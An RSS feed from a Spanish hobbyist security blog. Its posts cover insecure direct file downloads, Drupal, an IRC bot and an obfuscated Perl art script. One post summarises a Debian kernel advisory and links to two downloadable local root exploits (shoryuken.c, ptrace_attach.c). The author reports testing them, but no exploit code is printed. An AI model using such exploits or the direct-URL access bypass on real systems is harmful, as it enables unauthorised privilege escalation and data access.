<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Programación</title>
	<atom:link href="http://blog.zerial.org/tag/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Mini-Post: Acceso directo a archivos de descarga</title>
		<link>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/</link>
		<comments>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 01:36:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[desarrollo seguro]]></category>
		<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[programacion segura]]></category>
		<category><![CDATA[Tips]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2483</guid>
		<description><![CDATA[Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con [...]]]></description>
			<content:encoded><![CDATA[<p>Una forma de hacer un bypass a los sistemas de autenticación es poder acceder a archivos &#8220;sensibles&#8221; que sólo un usuario con autorización debería poder ver. Existen muchos sitios que tienen panel de administración pero no protegen los directorios donde se encuentran los archivos, por ejemplo, imaginemos que el usuario &#8220;admin&#8221; subió un archivo con datos de acceso a un servidor y en el sistema configuró que sólo algunos usuarios puedan verlo, sin embargo, cualquier persona que se sepa la URL puede acceder a el &#8230; Aunque suene bastante simple e incluso estúpido, es lamentable que existan sistemas o sitios web que lo permiten.</p>
<p>Por lo general, esto sucede cuando no existe una capa intermedia entre el archivo y el sistema, sino que se linkea directamente. Algo que debería ser <strong>http://www.dominio.cl/sistema/index.php/descargar/949394</strong> es <strong>http://www.dominio.cl/sistema/admin/archivos/usuarios_y_passwords.docx</strong>, y en el peor de los casos hasta se puede eliminar el nombre del archivo y listar el contenido del directorio &#8220;archivos&#8221; <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Los sistemas web deberían manejar internamente un &#8220;id&#8221; o nombre ficticio del archivo, <em>hasheado</em> y <em>mapeado</em> al momento de subirlo, para no permitir que cualquier usuario pueda acceder. Por ejemplo, si tenemos la URL de prueba dada anteriormente, 949394 correspondería al ID del archivo, el sistema debería -internamente- hacer una consulta a la base de datos y ver a que archivo corresponde ese ID, luego ver quienes tienen permisos para acceder a ese archivo y, luego de verificar la sesión y permisos, permitir la descarga del archivo.<br />
Para evitar la descarga directa de los archivos, el directorio &#8220;uploads&#8221; debería estar fuera del directorio de la aplicación, por ejempo, si el directorio de la aplicación es /var/www/html/sistema1/, el directorio debería estar fuera de &#8220;sistema1&#8243;, sino, aunque hagas todas las validaciones posibles, de todas formas se podrá acceder directamente al archivo saltandose la validación de la aplicación.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmini-post-acceso-directo-a-archivos-de-descarga%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/"  data-text="Mini-Post: Acceso directo a archivos de descarga" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Drupal como Content Management Framework</title>
		<link>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/</link>
		<comments>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/#comments</comments>
		<pubDate>Sun, 27 Sep 2009 19:41:17 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cmf]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[comunidad]]></category>
		<category><![CDATA[desarrollo]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=925</guid>
		<description><![CDATA[Están muy de moda los CMS (Content Management System) tales como WordPress, Joomla y Jaws, entre otros, por la facilidad y extensibilidad que tienen mediante módulos, plugins, widgets, themes, templates, etc. Desde hace 8 meses mas o menos que estoy en un proyecto que involucra la creación de un sistema para una comunidad de cientificos, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zerial.org/wp-content/uploads/2009/09/drupal.png" alt="drupal" title="drupal" width="250" height="286" class="alignright size-full wp-image-976" />Están muy de moda los CMS (Content Management System) tales como <a href="http://wordpress.com" target="_blank">WordPress</a>, <a href="http://joomla.org" target="_blank">Joomla</a> y <a href="http://jaws-project.com" target="_blank">Jaws</a>, entre otros, por la facilidad y extensibilidad que tienen mediante módulos, plugins, widgets, themes, templates, etc. Desde hace 8 meses mas o menos que estoy en un proyecto que involucra la creación de un sistema para una comunidad de cientificos, usando <a href="http://drupal.org" target="_blank">Drupal</a>.</p>
<p><strong>¿Por qué Drupal?</strong></p>
<p>Drupal pretende ser mucho más que un gestor de contenidos, lo que busca ser es un gestor de comunidades, un <em>framework</em> para gestionar comunidades, lo que yo llamo CMF. Es extensible, permite la reutilización de código, utilización de templates/themes propios y muchas otras cosas.</p>
<p><strong>¿Por qué NO WordPress, Joomla u otro CMS?</strong></p>
<p>Un CMS, com su nombre lo dice, es un <em>sistema</em> gestor de contenidos, están más orientados a blogs o sitios que no implican una cantidad grande de usuarios y contenido y tipos de contenidos. Lo que yo necesitaba, era un <strong>framework</strong> para gestionar una comunidad.</p>
<p>¿Se entiende?</p>
<p><span id="more-925"></span></p>
<p>El sitio en el que estoy trabajando tiene más de mil usuarios y tiene una cantidad enorme de contenido que se va generando día a día, para esto es necesario <em>algo</em> que me permita gestionarlo y que tenga gran parte del código desarrollado, es decir, que existan plugins o módulos ya hechos y que sólo haga falta modificarlos o adaptarlos a lo que necesitamos. Para <a href="http://drupal.org" target="_blank">Drupal</a> encontramos una serie como por ejemplo el conocido OG:</p>
<blockquote><p><strong>O</strong>rganic <strong>G</strong>roups: Enable users to create and manage their own &#8216;groups&#8217;. Each group can have subscribers, and maintains a group home page where subscribers communicate amongst themselves</p></blockquote>
<p>Con esto tenemos la posibilidad de que los usuarios creen sus propios grupos, manejen sus suscripciones, creen noticias relacionadas al grupo, privadas o públicas, administración y moderación de grupos, etc.<br />
Tambien es posible crear perfiles personalizados para cada usuario usando el módulo ContentProfile:</p>
<blockquote><p><strong>Content Profile</strong>: is module builds user profiles as content (aka nodes), which opens the opportunity to use all the powerful modules for content for user profiles too, e.g. the Content Construction Kit (CCK).</p></blockquote>
<p>La creación de módulos propios es bien sencilla, sólo hay que entender cómo trabaja los templates, páginas, nodos, etc. La tarea de creación de módulos se facilita bastante gracias a los <a href="http://api.drupal.org/api/group/hooks" target="_blank"><strong>hooks</strong></a>, con esto es posible modificar comportamientos de otros módulos (contrib y propios del sistema) y lograr tener un control casi completo del sistema. La idea es, por ningun motivo, <em>tocar</em> el <strong>core</strong> de Drupal, de lo contrario será muy difícil la mantención del sistema (actualizaciones, etc).<br />
Drupal tambien nos provee de una API, muy completa, la cual podemos trabajar usando las funcionalidades y bondades de Drupal sin tener que usar Drupal -<em>valga la redundancia</em>-. Por ejemplo, hace unos meses tuve que usar sólo el módulo &#8220;forum&#8221; de Drupal para integrarlo con un sitio que ya estaba desarrollado, ajeno a Drupal. Tambien es muy útil cuando se necesita hacer migración de usuarios y/o contenido de una plataforma a otra. Para usar la API sólo necesitamos descargar el código fuente y tener las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">include_once</span> <span class="st0">&#8216;api/includes/bootstrap.inc&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">drupal_bootstrap<span class="br0">&#40;</span>DRUPAL_BOOTSTRAP_FULL<span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>(<em>siendo el directorio <strong>api</strong> dónde tenemos el código fuente de Drupal</em>)</p>
<p>Y listo, ya podemos usar todas las funciones o métodos, variables, constantes, etc.</p>
<p>La versión estable actual de Drupal es la 6, se está trabajando en la 7 que será orientada a objetos. El problema de esto, es que cada vez que se lanza una version nueva (4→5, 5→6, 6→7), los desarrolladores deben volver a programar sus módulos, ya que Drupal no tiene compatibilidad retroactiva.</p>
<p><strong>Links:</strong></p>
<p><a href="http://drupalmodules.com" target="_blank">Drupal Modules</a>: Repositorio muy completo con distintos módulos para distintas versiones de Drupal .<br />
<a href="http://api.drupal.org/" target="_blank">Documentación de la API</a></p>
<p><strong>Lectura recomendada</strong>:</p>
<p><a href="http://www.amazon.com/Pro-Drupal-Development-John-VanDyk/dp/1590597559"><img src="http://blog.zerial.org/wp-content/uploads/2009/09/images.jpeg" alt="images" title="images" width="130" height="87" class="aligncenter size-full wp-image-974" /></a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fmis-cosas%2Fdrupal-como-content-management-framework%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/"  data-text="Drupal como Content Management Framework" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/mis-cosas/drupal-como-content-management-framework/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ooPhBOT v1.0.5</title>
		<link>http://blog.zerial.org/proyectos/oophbot-v105/</link>
		<comments>http://blog.zerial.org/proyectos/oophbot-v105/#comments</comments>
		<pubDate>Tue, 26 May 2009 17:11:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[actualizacion]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[oophbot]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=269</guid>
		<description><![CDATA[Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link. Tweet]]></description>
			<content:encoded><![CDATA[<p>Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde <a href="http://blog.zerial.org/files/oophbot-1.0.5.tar.gz">este link</a>.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/oophbot-v105/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/oophbot-v105/"  data-text="ooPhBOT v1.0.5" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/oophbot-v105/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Local root exploit en kernel 2.6.x (hasta la 2.6.29)</title>
		<link>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/</link>
		<comments>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments</comments>
		<pubDate>Sun, 17 May 2009 23:45:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=287</guid>
		<description><![CDATA[El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades. CVE-2009-0028 Chris Evans discovered a situation in which a child process can send an arbitrary signal to its parent. CVE-2009-0834 Roland McGrath discovered an issue on amd64 kernels that allows local users to circumvent system [...]]]></description>
			<content:encoded><![CDATA[<p>El Viernes pasado se anunciaron, en la lista de seguridad de debian, <a href="http://lists.debian.org/debian-security-announce/2009/msg00111.html" target="_blank">actualizaciones para el kernel</a>, que solucionaba varias vulnerabilidades.</p>
<blockquote>
<pre>CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
    allows a local user to cause memory corruption by selecting a
    small number of 3-byte UTF-8 characters.

CVE-2009-1072

    Igor Zhbanov reported that nfsd was not properly dropping
    CAP_MKNOD, allowing users to create device nodes on file systems
    exported with root_squash.

CVE-2009-1184

    Dan Carpenter reported a coding issue in the selinux subsystem
    that allows local users to bypass certain networking checks when
    running with compat_net=1.

CVE-2009-1192

    Shaohua Li reported an issue in the AGP subsystem they may allow
    local users to read sensitive kernel memory due to a leak of
    uninitialized memory.

CVE-2009-1242

    Benjamin Gilbert reported a local denial of service vulnerability
    in the KVM VMX implementation that allows local users to trigger
    an oops.

CVE-2009-1265

    Thomas Pollet reported an overflow in the af_rose implementation
    that allows remote attackers to retrieve uninitialized kernel
    memory that may contain sensitive data.

CVE-2009-1337

    Oleg Nesterov discovered an issue in the exit_notify function that
    allows local users to send an arbitrary signal to a process by
    running a program that modifies the exit_signal field and then
    uses an exec system call to launch a setuid application.

CVE-2009-1338

    Daniel Hokka Zakrisson discovered that a kill(-1) is permitted to
    reach processes outside of the current process namespace.

CVE-2009-1439

    Pavan Naregundi reported an issue in the CIFS filesystem code that
    allows remote users to overwrite memory via a long
    nativeFileSystem field in a Tree Connect response during mount.</pre>
</blockquote>
<p>Se publicaron dos exploits para explotar vulnerabildades de escalacion de provilegios local. Estos exploits se aprovechan de la funcion <em>ptrace_attach()</em> para ejecutar un <em>codigo arbitrario</em> que nos permita ejecutar una shell del tipo /bin/sh como root.<br />
El primer exploit es el <a href="http://blog.zerial.org/files/exploits/shoryuken.c"><strong>shoryuken</strong></a>, lo probé en distintas versiones del kernel de debian y archlinux, pudiendo ser explotada solo la version 2.6.26-1-686 de Debian 5.0, de forma aleatoria, es decir, hay veces que ejecuto el exploit y funciona y otras veces no. El <a href="http://blog.zerial.org/files/exploits/ptrace_attach.c">segundo script</a> fue probado por su autor en la version del kernel 2.6.29rc1 de <a href="http://www.gentoo.org" target="_blank">Gentoo</a>.<br />
Estos exploits funcionan bajo situaciones especificas y no todos los sistemas son vulnerables.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Flocal-root-exploit-en-kernel-26x-hasta-la-2629%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/"  data-text="Local root exploit en kernel 2.6.x (hasta la 2.6.29)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Script en perl en forma de camello</title>
		<link>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/</link>
		<comments>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 15:25:31 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[ocio]]></category>
		<category><![CDATA[perl]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=247</guid>
		<description><![CDATA[Ahora que me estoy especializando en perl, me acordé haber visto en el blog de vostorga un post bien curioso, escrito en perl y en forma de camello. # sub j(\$){($ P,$V)= @_;while($$P=~s:^ ([()])::x){ $V+=('('eq$1)?-32:31 }$V+=ord( substr( $$P,0,1,""))-74} sub a{ my($I,$K,$ J,$L)=@_ ;$I=int($I*$M/$Z);$K=int( $K*$M/$Z);$J=int($J*$M /$Z);$L=int($L*$M/$Z); $G=$ J-$I;$F=$L-$K;$E=(abs($ G)>=abs($F))?$G:$F;($E&#60;0) and($ I,$K)=($J,$L);$E&#124;&#124;=.01 ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K +int($i*$F/$E) [...]]]></description>
			<content:encoded><![CDATA[<p>Ahora que me estoy <em>especializando</em> en <a href="http://perl.org">perl</a>, me acordé haber visto en <a href="http://vostorga.org" target="_aaa">el blog de vostorga</a> un <a href="http://vostorga.org/?p=205">post</a> bien curioso, escrito en perl y en forma de camello.
<pre>

                                                       #
                                                   sub j(\$){($
                     P,$V)=                      @_;while($$P=~s:^
                 ([()])::x){                    $V+=('('eq$1)?-32:31
           }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
          my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
         $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
         J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E&lt;0) and($
          I,$K)=($J,$L);$E||=.01       ;for($i=0;$i< =abs$E;$i++ ){ $D->{$K
                  +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
                 Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
                substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
              %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
              ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
              ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
              require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
              ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
               'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
               ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
                '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
                  'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
                   'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
                      'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                        '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                             'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% &#038; @ x)[int    rand
                              4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                               ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                                _[0]);($M,   @,)= split  '}';for(     $z=256
                                ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                                [2];while   ($_[3]&#038;&#038;($    z+=$ S)       < =256){
                                p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                                ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                                ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                                 ."$h}"      ."^G$e"    ."})IG"          ."$r",
                                 "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                                 ."$l",          "28}(LC" .""            ."".
                                 "$h}:"           ."J$a}EG".             "$c"
                                 ."}M"             ."C$k}ZG".            "$e"
                                 ."}"             ."dG$r","18"          ."}("
                                ."D;"            ."$C"  )}{h(16         ,1,1,0
                               );h(8,          .98,0,0   );h(16         ,1,1,1)
                               ;h(8.0         ,0.98,0,     1);         redo}###
                             #written                                 060204 by
                           #liverpole                                  @@@@@@@
                        #@@@@@@@@@@@
</pre>
<p>Para ejecutarlo basta que lo copies y lo pegues en tu editor de texto favorito y lo ejecutes escribiendo <b>perl script.pl</b>. Tambien puedes descargarlo desde <a href="http://vostorga.org/files/bleh.pl" target="asas">acá</a>.</pre>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fprogramacion%2Fscript-en-perl-en-forma-de-camello%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/"  data-text="Script en perl en forma de camello" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/programacion/script-en-perl-en-forma-de-camello/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ooPhBot: Bot para IRC escrito en PHP</title>
		<link>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/</link>
		<comments>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 04:26:10 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=162</guid>
		<description><![CDATA[Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están: Distintos niveles de privilegios (administrador, owner de un canal, access de un canal) Funcion para realizar busquedas en Google (!google &#60;palabra&#62;) Function [...]]]></description>
			<content:encoded><![CDATA[<p>Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están:</p>
<ul>
<li>Distintos niveles de privilegios (administrador, owner de un canal, access de un canal)</li>
<li>Funcion para realizar busquedas en Google (!google &lt;palabra&gt;)</li>
<li>Function para buscar definiciones en Google (!define &lt;termino&gt;)</li>
<li>Distintas funciones de administracion de usuarios (!admin|access add|del|list)</li>
<li>etc</li>
</ul>
<p>Algunas de las caracteristicas de este bot es su proteccion anti <em>flood</em> que se define por el owner del canal y el Oráculo (Oracle; término puesto por mi a esta funcionalidad) que permite enseñar al bot definiciones de palabras para luego ser consultadas (!learn palabra significado, ?? palabra).<br />
Este bot corre bajo php-cli (command line interface), es decir, por consola y tambien puede ser ejecutado desde la web. Queda trabajando como un demonio.</p>
<p><strong>Version Actual:<br />
</strong>La version actual es la misma desde enero del año 2007, no he vuelto a tocar el codigo (aunque sigo usando el bot), funciona todo menos las busquedas de terminos y definiciones en Google que, me imagino, hay que hacerle un par de modificaciones al codigo para que parsee bien las busquedas.</p>
<p><strong>Changelog</strong></p>
<blockquote><p>VERSION 1.0.4 &#8211; 26 ENE 2007</p>
<p>- Cambiado el sistema de autentifiacion. Se verifica que el usuario<br />
este identificado con NickServ.</p>
<p>VERSION 1.0.3 &#8211; 19 ENE 2007</p>
<p>- Se agrego a la clase Bot el metodo TXTflood( &#8230; ) que verifica<br />
el flood de texto de un usuario en un canal especifico, esta opcion<br />
puede ser habilitada o desactivada por usuarios con privilegios mediante<br />
!flood on|off en el canal.<br />
- Se ha reescrito la clase que permite la identificacion y permite que los usuarios<br />
tengan distintos privilegios. (CHAdmin.)<br />
- Corregido el bug que expulsaba de manera distinta a !k o !kick (0 nick o [spacio] nick)<br />
- Agregada la clase Google con los metodos !define y !google.</p>
<p>VERSION 1.0.2 &#8211; 16 ENE 2007</p>
<p>- El bot corre en segundo plano (fork).<br />
